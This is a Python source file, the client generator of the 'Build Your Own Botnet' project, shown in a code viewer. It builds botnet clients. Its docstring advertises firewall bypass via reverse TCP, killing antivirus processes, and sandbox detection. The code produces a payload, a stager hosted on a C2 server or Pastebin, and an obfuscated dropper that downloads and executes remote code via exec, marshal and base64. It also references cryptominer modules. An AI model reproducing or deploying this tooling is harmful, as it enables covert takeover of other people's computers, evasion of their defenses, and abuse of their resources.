Path: blob/master/web-gui/buildyourownbotnet/client.py
1292 views
#!/usr/bin/python1# -*- coding: utf-8 -*-2"""Client Generator (Build Your Own Botnet)34usage: client.py [-h] [-v] [--name NAME] [--icon ICON] [--pastebin API]5[--encrypt] [--obfuscate] [--compress] [--freeze]6host port [module [module ...]]78Generator (Build Your Own Botnet)910positional arguments:11host server IP address12port server port number13module module(s) to remotely import at run-time1415optional arguments:16-h, --help show this help message and exit17-v, --version show program's version number and exit18--name NAME output file name19--icon ICON icon image file name20--pastebin API upload & host payload on pastebin21--encrypt encrypt payload and embed key in stager22--compress zip-compress into a self-executing python script23--freeze compile client into a standalone executable for the current host platform24--gui generate client controllable via web browser GUI at https://buildyourownbotnet.com2526Generate clients with the following features:2728- Zero Dependencies29stager runs with just the python standard library3031- Remote Imports32remotely import third-party packages from33the server without downloading/installing them3435- In-Memory Execution Guidline36clients never write anything to the disk,37not even temporary files - zero IO system calls.38remote imports allow code/scripts/modules to39be dynamically loaded into memory and directly40imported into the currently running process4142- Add Your Own Scripts43every python script, module, and package in the44`remote` directory is directl usable by every45client at all times while the server is running4647- Unlimited Modules Without Bloating File Size48use remote imports to add unlimited features without49adding a single byte to the client's file size5051- Updatable52client periodically checks the content available53for remote import from the server, and will54dynamically update its in-memory resources55if anything has been added/removed5657- Platform Independent58compatible with PyInstaller and package is authored59in Python, a platform agnostic language6061- Bypass Firewall62connects to server via outgoing connections63(i.e. reverse TCP payloads) which most firewall64filters allow by default k6566- Evade Antivirus67blocks any spawning process68with names of known antivirus products6970- Prevent Analysis71main client payload encrypted with a random72256-bit key and is only7374- Avoid Detection75client will abort execution if a virtual machine76or sandbox is detected77"""7879# standard library80import os81import sys82import zlib83import base6484import random85import marshal86import argparse87import itertools88import threading89import collections90if sys.version_info[0] < 3:91from urllib2 import urlparse92from urllib import pathname2url93else:94from urllib import parse as urlparse95from urllib.request import pathname2url96sys.path.append('core')9798# packages99import colorama100101# modules102from buildyourownbotnet.core import util103from buildyourownbotnet.core import security104from buildyourownbotnet.core import generators105106# globals107colorama.init(autoreset=True)108__banner = """10911088 8811188 8811288 8811388,dPPYba, 8b d8 ,adPPYba, 88,dPPYba,11488P' "8a `8b d8' a8" "8a 88P' "8a11588 d8 `8b d8' 8b d8 88 d811688b, ,a8" `8b,d8' "8a, ,a8" 88b, ,a8"1178Y"Ybbd8"' Y88' `"YbbdP"' 8Y"Ybbd8"'118d8'119d8'120"""121C2_HOST = util.public_ip()122C2_PORT = '1337'123ROOT = os.path.abspath(os.path.dirname(__file__))124125126# main127def main(*args, **kwargs):128"""129Run the generator130131"""132#util.display(globals()['__banner'], color=random.choice(list(filter(lambda x: bool(str.isupper(x) and 'BLACK' not in x), dir(colorama.Fore)))), style='normal')133134if not kwargs:135parser = argparse.ArgumentParser(136prog='client.py',137description="Generator (Build Your Own Botnet)"138)139140parser.add_argument('modules',141metavar='module',142action='append',143nargs='*',144help='module(s) to remotely import at run-time')145146parser.add_argument('--name',147action='store',148help='output file name')149150parser.add_argument('--icon',151action='store',152help='icon image file name')153154parser.add_argument('--pastebin',155action='store',156metavar='API',157help='upload the payload to Pastebin (instead of the C2 server hosting it)')158159parser.add_argument('--encrypt',160action='store_true',161help='encrypt the payload with a random 128-bit key embedded in the payload\'s stager',162default=False)163164parser.add_argument('--compress',165action='store_true',166help='zip-compress into a self-extracting python script',167default=False)168169parser.add_argument('--freeze',170action='store_true',171help='compile client into a standalone executable for the current host platform',172default=False)173174parser.add_argument('--gui',175action='store_true',176help='generate client controllable via web browser GUI at https://buildyourownbotnet.com',177default=False)178179parser.add_argument('--owner',180action='store',181help='only allow the authenticated owner to interact with this client',182default=False)183184parser.add_argument('--os',185action='store',186help='target operating system',187default='nix')188189parser.add_argument('--architecture',190action='store',191help='target architecture',192default='')193194parser.add_argument(195'-v', '--version',196action='version',197version='0.5',198)199200options = parser.parse_args()201202else:203204options = collections.namedtuple('Options', ['host','port','modules','name','icon','pastebin','encrypt','compress','freeze','gui','owner','operating_system','architecture'])(*args, **kwargs)205206# hacky solution to make existing client generator script work with package structure for web app207os.chdir(ROOT)208209key = base64.b64encode(os.urandom(16))210var = generators.variable(3)211modules = _modules(options, var=var, key=key)212imports = _imports(options, var=var, key=key, modules=modules)213hidden = _hidden (options, var=var, key=key, modules=modules, imports=imports)214payload = _payload(options, var=var, key=key, modules=modules, imports=imports, hidden=hidden)215stager = _stager (options, var=var, key=key, modules=modules, imports=imports, hidden=hidden, url=payload)216dropper = _dropper(options, var=var, key=key, modules=modules, imports=imports, hidden=hidden, url=stager)217218os.chdir('..')219220return dropper221222223def _update(input, output, task=None):224diff = round(float(100.0 * float(float(len(output))/float(len(input)) - 1.0)))225226def _modules(options, **kwargs):227global __load__228__load__ = threading.Event()229__spin__ = _spinner(__load__)230231modules = ['modules/util.py','core/security.py','core/payloads.py']232233if len(options.modules):234for m in options.modules:235if isinstance(m, str):236base = os.path.splitext(os.path.basename(m))[0]237if not os.path.exists(m):238_m = os.path.join(os.path.abspath('modules'), os.path.basename(m))239if _m not in [os.path.splitext(_)[0] for _ in os.listdir('modules')]:240util.display("[-]", color='red', style='normal')241util.display("can't add module: '{}' (does not exist)".format(m), color='reset', style='normal')242continue243module = os.path.join(os.path.abspath('modules'), m if '.py' in os.path.splitext(m)[1] else '.'.join([os.path.splitext(m)[0], '.py']))244modules.append(module)245__load__.set()246return modules247248249def _imports(options, **kwargs):250global __load__251assert 'modules' in kwargs, "missing keyword argument 'modules'"252globals()['__load__'] = threading.Event()253globals()['__spin__'] = _spinner(__load__)254255imports = set()256257for module in kwargs['modules']:258for line in open(module, 'r').read().splitlines():259if len(line.split()):260if line.split()[0] == 'import':261for x in ['core'] + [os.path.splitext(i)[0] for i in os.listdir('core')] + ['core.%s' % s for s in [os.path.splitext(i)[0] for i in os.listdir('core')]]:262if x in line:263break264else:265imports.add(line.strip())266267imports = list(imports)268for bad_import in ['ctypes','colorama']:269if bad_import in imports:270imports.remove(bad_import)271if sys.platform != 'win32':272for item in imports:273if 'win32' in item or '_winreg' in item:274imports.remove(item)275return imports276277278def _hidden(options, **kwargs):279assert 'imports' in kwargs, "missing keyword argument 'imports'"280assert 'modules' in kwargs, "missing keyword argument 'modules'"281282hidden = set()283284for line in kwargs['imports']:285if len(line.split()) > 1:286for i in str().join(line.split()[1:]).split(';')[0].split(','):287i = line.split()[1] if i == '*' else i288hidden.add(i)289elif len(line.split()) > 3:290for i in str().join(line.split()[3:]).split(';')[0].split(','):291i = line.split()[1] if i == '*' else i292hidden.add(i)293294for bad_import in ['ctypes','colorama']:295if bad_import in hidden:296hidden.remove(bad_import)297298globals()['__load__'].set()299return list(hidden)300301302def _payload(options, **kwargs):303assert 'var' in kwargs, "missing keyword argument 'var'"304assert 'modules' in kwargs, "missing keyword argument 'modules'"305assert 'imports' in kwargs, "missing keyword argument 'imports'"306307loader = open('core/loader.py','r').read()#, generators.loader(host=C2_HOST, port=int(C2_PORT)+2, packages=list(kwargs['hidden']))))308309test_imports = '\n'.join(['import ' + i for i in list(kwargs['hidden']) if i not in ['StringIO','_winreg','pycryptonight','pyrx','ctypes']])310potential_imports = '''311try:312import pycryptonight313import pyrx314except ImportError: pass315'''316317modules = '\n'.join(([open(module,'r').read().partition('# main')[2] for module in kwargs['modules']] + [generators.main('Payload', **{"host": C2_HOST, "port": C2_PORT, "pastebin": options.pastebin if options.pastebin else str(), "gui": "1" if options.gui else str(), "owner": options.owner}) + '_payload.run()']))318payload = '\n'.join((loader, test_imports, potential_imports, modules))319320if not os.path.isdir('modules/payloads'):321try:322os.mkdir('modules/payloads')323except OSError:324util.log("Permission denied: unabled to make directory './modules/payloads/'")325326if options.compress:327#util.display("\tCompressing payload... ", color='reset', style='normal', end=' ')328__load__ = threading.Event()329__spin__ = _spinner(__load__)330output = generators.compress(payload)331__load__.set()332_update(payload, output, task='Compression')333payload = output334335if options.encrypt:336assert 'key' in kwargs, "missing keyword argument 'key' required for option 'encrypt'"337__load__ = threading.Event()338__spin__ = _spinner(__load__)339output = security.encrypt_xor(payload, base64.b64decode(kwargs['key']))340__load__.set()341_update(payload, output, task='Encryption')342payload = output343344#util.display("\tUploading payload... ", color='reset', style='normal', end=' ')345346__load__ = threading.Event()347__spin__ = _spinner(__load__)348349if options.pastebin:350assert options.pastebin, "missing argument 'pastebin' required for option 'pastebin'"351url = util.pastebin(payload, options.pastebin)352else:353dirs = ['modules/payloads','byob/modules/payloads','byob/byob/modules/payloads']354dirname = '.'355for d in dirs:356if os.path.isdir(d):357dirname = d358359path = os.path.join(os.path.abspath(dirname), kwargs['var'] + '.py' )360361with open(path, 'w') as fp:362fp.write(payload)363364s = 'http://{}:{}/{}'.format(C2_HOST, int(C2_PORT) + 1, pathname2url(path.replace(os.path.join(os.getcwd(), 'modules'), '')))365s = urlparse.urlsplit(s)366url = urlparse.urlunsplit((s.scheme, s.netloc, os.path.normpath(s.path), s.query, s.fragment)).replace('\\','/')367368__load__.set()369#util.display("(hosting payload at: {})".format(url), color='reset', style='dim')370return url371372373def _stager(options, **kwargs):374assert 'url' in kwargs, "missing keyword argument 'url'"375assert 'key' in kwargs, "missing keyword argument 'key'"376assert 'var' in kwargs, "missing keyword argument 'var'"377378if options.encrypt:379stager = open('core/stagers.py', 'r').read() + generators.main('run', url=kwargs['url'], key=kwargs['key'])380else:381stager = open('core/stagers.py', 'r').read() + generators.main('run', url=kwargs['url'])382383if not os.path.isdir('modules/stagers'):384try:385os.mkdir('modules/stagers')386except OSError:387util.log("Permission denied: unable to make directory './modules/stagers/'")388389if options.compress:390#util.display("\tCompressing stager... ", color='reset', style='normal', end=' ')391__load__ = threading.Event()392__spin__ = _spinner(__load__)393output = generators.compress(stager)394__load__.set()395_update(stager, output, task='Compression')396stager = output397398__load__ = threading.Event()399__spin__ = _spinner(__load__)400401if options.pastebin:402assert options.pastebin, "missing argument 'pastebin' required for option 'pastebin'"403url = util.pastebin(stager, options.pastebin)404else:405dirs = ['modules/stagers','byob/modules/stagers','byob/byob/modules/stagers']406dirname = '.'407for d in dirs:408if os.path.isdir(d):409dirname = d410411path = os.path.join(os.path.abspath(dirname), kwargs['var'] + '.py' )412413with open(path, 'w') as fp:414fp.write(stager)415416s = 'http://{}:{}/{}'.format(C2_HOST, int(C2_PORT) + 1, pathname2url(path.replace(os.path.join(os.getcwd(), 'modules'), '')))417s = urlparse.urlsplit(s)418url = urlparse.urlunsplit((s.scheme, s.netloc, os.path.normpath(s.path), s.query, s.fragment)).replace('\\','/')419420__load__.set()421return url422423424def _dropper(options, **kwargs):425426assert 'url' in kwargs, "missing keyword argument 'url'"427assert 'var' in kwargs, "missing keyword argument 'var'"428assert 'hidden' in kwargs, "missing keyword argument 'hidden'"429430output_dir = os.path.join('output', options.owner, 'src')431432if not os.path.isdir(output_dir):433try:434os.makedirs(output_dir)435except OSError:436util.log("Permission denied: unable to make directory './output'")437438439# add os/arch info to filename if freezing440if options.freeze:441name = 'byob_{operating_system}_{architecture}_{var}.py'.format(operating_system=options.operating_system, architecture=options.architecture, var=kwargs['var']) if not options.name else options.name442else:443name = 'byob_{var}.py'.format(var=kwargs['var'])444445if not name.endswith('.py'):446name += '.py'447448name = os.path.join(output_dir, name)449450dropper = """import sys,zlib,base64,marshal,json,urllib451if sys.version_info[0] > 2:452from urllib import request453urlopen = urllib.request.urlopen if sys.version_info[0] > 2 else urllib.urlopen454exec(eval(marshal.loads(zlib.decompress(base64.b64decode({})))))""".format(repr(base64.b64encode(zlib.compress(marshal.dumps("urlopen({}).read()".format(repr(kwargs['url'])),2)))))455456with open(name, 'w') as fp:457fp.write(dropper)458459util.display('({:,} bytes written to {})'.format(len(dropper), name), style='dim', color='reset')460461# cross-compile executable for the specified os/arch using pyinstaller docker containers462if options.freeze:463util.display('\tCompiling executable...\n', color='reset', style='normal', end=' ')464name = generators.freeze(name, icon=options.icon, hidden=kwargs['hidden'], owner=options.owner, operating_system=options.operating_system, architecture=options.architecture)465util.display('({:,} bytes saved to file: {})\n'.format(len(open(name, 'rb').read()), name))466return name467468469@util.threaded470def _spinner(flag):471spinner = itertools.cycle(['-', '/', '|', '\\'])472while not flag.is_set():473try:474sys.stdout.write(next(spinner))475sys.stdout.flush()476flag.wait(0.2)477sys.stdout.write('\b')478sys.stdout.flush()479except:480break481482483if __name__ == '__main__':484main()485486487